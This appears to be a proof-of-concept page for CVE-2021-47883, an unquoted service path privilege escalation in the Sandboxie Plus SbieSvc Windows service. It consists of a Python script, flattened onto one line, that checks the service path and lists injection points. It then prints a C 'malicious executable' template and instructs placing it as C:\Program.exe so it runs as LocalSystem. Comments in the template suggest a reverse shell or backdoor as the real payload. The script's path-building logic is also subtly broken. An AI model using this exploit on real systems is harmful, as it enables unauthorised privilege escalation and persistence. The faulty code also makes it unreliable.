CVE-2021-47883: Sandboxie Plus SbieSvc服务路径未加引号权限提升漏洞

#!/usr/bin/env python3 """ CVE-2021-47883 PoC - Sandboxie Plus SbieSvc Unquoted Service Path This PoC demonstrates the unquoted service path vulnerability in Sandboxie Plus SbieSvc service. Note: This is for educational and authorized testing purposes only. """ import subprocess import os def check_service_path(): """Check if SbieSvc has unquoted path vulnerability""" try: # Query service configuration using sc qc command result = subprocess.run( ['sc', 'qc', 'SbieSvc'], capture_output=True, text=True ) output = result.stdout print("[*] SbieSvc Service Configuration:") print(output) # Check if BINARY_PATH_NAME contains spaces and no quotes if 'BINARY_PATH_NAME' in output: lines = output.split('\n') for line in lines: if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"\n[*] Service Path: {path}") # Check for vulnerability conditions if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path contains spaces without quotes!") # Extract path components parts = path.split() print(f"[*] Potential injection points:") for i, part in enumerate(parts[:-1]): # Exclude filename potential_path = '\\'.join(parts[:i+1]) print(f" - {potential_path}\.exe") else: print("[+] NOT VULNERABLE: Path is properly quoted") except Exception as e: print(f"[-] Error: {e}") def create_malicious_executable(): """Generate template for malicious executable creation""" # This would be the malicious executable code # For demonstration purposes only evil_code = ''' #include <windows.h> int main() { // Malicious code would be placed here // This would typically create a reverse shell or add a backdoor // Executed with LocalSystem privileges MessageBox(NULL, "CVE-2021-47883 Exploited - Sandboxie Plus SbieSvc", "Privilege Escalation", MB_OK | MB_ICONWARNING); return 0; } ''' print("\n[*] Example malicious executable code template:") print(evil_code) print("[*] Compile and place as 'Program.exe' in C:\\ to exploit") if __name__ == "__main__": print("=" * 60) print("CVE-2021-47883 - Sandboxie Plus SbieSvc Unquoted Path") print("=" * 60) check_service_path() create_malicious_executable() print("\n[*] Reminder: Always obtain proper authorization before testing")